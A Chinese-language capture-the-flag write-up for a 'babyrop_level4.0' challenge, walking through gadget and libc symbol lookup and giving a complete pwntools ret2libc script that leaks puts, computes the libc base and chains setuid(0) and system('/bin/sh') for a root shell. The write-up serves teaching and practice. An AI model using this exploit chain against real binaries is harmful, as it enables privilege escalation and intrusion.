题目简介
需要我们构造ROP链来执行获取shell的代码段,进而拿到flag
漏洞点分析
首先还是checksec看到只开了NX,既然如此shellcode执行不了
接着拖到IDA里面发现并没有可以用的后门函数,因此只能采用ROP
然后找溢出点,发现在challenge函数

再通过ROPgadget工具,看看程序本身有没有可用的碎片:
1
| ROPgadget --binary /challenge/babyrop_level4.0 >gadgets.txt
|
在输出文件里找了一番,没发现system、binsh等可用的组件,只找到了勉强可以用来传参的pop rdi指令
那只能在libc里找一下看有没有system之类的函数:
首先确定程序链接的libc版本
1
| ldd /challenge/babyrop_level4.0
|
可以看到是/lib/x86_64-linux-gnu/libc.so.6

然后找相应的可用函数
1 2
| readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
|

如上图,这两条命令的输出都表示找到了我们想要的函数及其参数
因此漏洞点利用思路就比较清晰了,需要寻找libc中函数的地址(通过泄露Libc基址来实现),然后溢出返回地址到libc中
漏洞点利用
这道题目中需要返回到Libc中,因此首先需要知道libc的基地址,因此需要泄露一个libc中函数的真实地址来计算基地址
综上,构造一个两阶段的利用脚本,第一次泄露puts函数真实地址,并重新执行程序,第二次再发送真正的利用payload,拿到shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * targetELF="/challenge/babyrop_level4.0" libc_path = "/lib/x86_64-linux-gnu/libc.so.6" offset=56 context(os='linux', arch='x86_64',log_level='debug', terminal=['tmux', 'splitw', '-h'])
p = process(targetELF)
elf=ELF(targetELF) libc = ELF(libc_path) rop = ROP(elf)
pop_rdiAddr=0x402204 ret =0x40101a gotAddr=elf.got["puts"] pltAddr=elf.plt["puts"] startAddr=elf.symbols["_start"]
addrLeakPayload = b'a'*offset + p64(pop_rdiAddr) + p64(gotAddr) + p64(pltAddr) + p64(startAddr)
p.recv() p.send(addrLeakPayload) p.recvuntil("Leaving!\n") realAddr=u64(p.recv(6).ljust(8,b'\x00'))
libcBase=realAddr-0x84420 sysAddr = libcBase + libc.symbols['system'] setuidAddr = libcBase + libc.symbols['setuid'] binshAddr = libcBase + next(libc.search("/bin/sh"))
log.info(hex(sysAddr)) log.info(hex(binshAddr))
shellPayload= b'1' * offset + p64(pop_rdiAddr) + p64(0) + p64(setuidAddr) + p64(ret) + p64(pop_rdiAddr) + p64(binshAddr) + p64(ret) + p64(sysAddr)
p.recv() p.send(shellPayload) p.recv()
p.interactive()
|
大概解释一下脚本里的一些语句是什么意思(更详细的还得看pwntools的手册)
首先,主要的就是ELF类,通过传递一个ELF文件的路径,可以打开该文件,然后获得一个ELF对象(第10、11行分别拿到目标程序和libc.so的ELF对象)
通过该elf对象可以获取ELF文件中函数的plt表、got表(脚本中的gotAddr和pltAddr),以及函数符号表,即函数地址(如第18行获取_start函数的地址)
第一阶段,需要通过一个输出函数(如puts、printf)泄露got表地址,然后再回到程序的开始(即startAddr),所以第一阶段的payload(即addrLeakPayLoad)=b’a’*offset + p64(pop_rdiAddr) + p64(gotAddr) + p64(pltAddr) + p64(startAddr)
泄露地址后通过减去puts函数的偏移得到libc基地址,即第29行(偏移可以通过readelf或者pwn库获得),最后,构造的shellPayload(第37行)才为真正getshell的payload
